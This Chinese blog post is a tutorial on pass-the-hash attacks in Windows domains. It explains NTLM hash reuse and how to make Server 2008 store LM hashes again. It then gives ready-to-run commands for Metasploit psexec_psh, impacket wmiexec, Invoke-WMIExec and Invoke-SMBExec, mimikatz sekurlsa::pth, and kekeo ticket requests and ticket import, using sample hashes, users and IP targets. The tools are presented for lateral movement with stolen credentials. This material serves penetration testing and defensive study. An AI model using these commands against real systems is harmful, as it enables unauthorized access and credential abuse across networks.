域渗透——Pass The Hash 的实现

发布于 2024-11-15 10:55:20 字数 4448 浏览 9 评论 0

0x00 前言

在之前的文章《域渗透——Pass The Hash & Pass The Key》曾介绍过 kb2871997 对 Pass The Hash 的影响。本文将站在另一个角度,介绍 Pass The Hash 的相关实现

0x01 简介

本文将要介绍以下内容:

  • Pass The Hash 的原理
  • 常用工具
  • mimikatz 中的 Pass The Hash
  • mimikatz 中的 Pass The Ticket

0x02 Pass The Hash 的原理

可参考 Wikipedia 的介绍,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash

提取出关键信息:

  • 在 Windows 系统中,通常会使用 NTLM 身份认证
  • NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)
  • hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LM hash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LM hash
  • 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用 API 生成 hash 的过程)

注:mimikatz 支持导出内存中用户的 LM hash,但前提是 Windows 系统支持 LM hash,Windows Server 2008 启用 LM hash 的方法:

gpedit.msc - 计算机配置 - Windows 设置 - 安全设置 - 本地策略 - 安全选项

找到 网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值 ,选择 已禁用

系统下一次更改密码后,就能够导出 LM hash

0x03 常用工具

当我们获得某个用户的口令 hash,并且条件限定我们不去破解明文口令,实现 Pass The Hash 都有哪些工具呢?

1、Kali 下的工具

(1) meterpreter

use exploit/windows/smb/psexec_psh

(2) 工具集

位于 密码攻击 - Passing the Hash 下,如下图

Alt text

包含多种利用工具

2、Windows 系统下的工具

(1) python

wmiexec:

参考地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

exe 版本下载地址:https://github.com/maaaaz/impacket-examples-windows

注:wmiexec.py 的注释中提示"Main advantage here is it runs under the user (has to be Admin) account",经实际测试普通用户权限即可

参数实例:

wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 TEST/test1@192.168.1.1 "whoami"

wmiexec.py 的 hash 参数格式为 LMHASH:NTHASH ,由于该 Hash 来自于 Server 2008,系统默认不支持 LM hash,所以 LM hash 可以设定为任意值

(2) powershell

参考地址:https://github.com/Kevin-Robertson/Invoke-TheHash/

支持多种方式

Invoke-WMIExec:

参数实例:

Invoke-WMIExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose

类似 wmiexec.py

Invoke-SMBExec:

支持 SMB1, SMB2 (2.1), and SMB signing

参数实例:

Invoke-SMBExec -Target 192.168.0.2 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose

通过在目标主机创建服务执行命令,所以权限为 system

Invoke-SMBClient:

支持 SMB1, SMB2 (2.1), and SMB signing

如果只有 SMB 文件共享的权限,没有远程执行权限,可以使用该脚本

支持的功能包括列举目录、上传文件、下载文件、删除文件(具体权限取决于该口令 hash 的权限)

(3) mimikatz

Pass-The-Hash:

实际上为 Overpass-the-hash

参数实例:

privilege::debug
sekurlsa::pth /user:test1 /domain:test.local /ntlm:c5a237b7e9d8e708d8436b6148a25fa1

注:mimikatz 的 pth 功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程 lsass.exe 的信息

对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012,可以使用 AES keys 代替 NT hash

Pass-The-Ticket:

考虑到 mimikatz 的 pth 功能需要本地管理员权限,所以 mimikatz 也提供了不需要管理员权限的解决方法 Pass-The-Ticket

Pass-The-Ticket 需要用到 gentilkiwi 开源的另一款工具 kekeo,下载地址:https://github.com/gentilkiwi/kekeo

参数实例:

kekeo "tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1"

执行后生成票据 TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi

接下来导入票据:

kekeo "kerberos::ptt TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi"

0x04 小结

本文列举了多种实现 Pass The Hash 的工具,欢迎补充。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

十秒萌定你

暂无简介

文章
评论
25 人气
更多

推荐作者

迎风吟唱

文章 0 评论 0

qq_hXErI

文章 0 评论 0

茶底世界

文章 0 评论 0

捎一片雪花

文章 0 评论 0

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文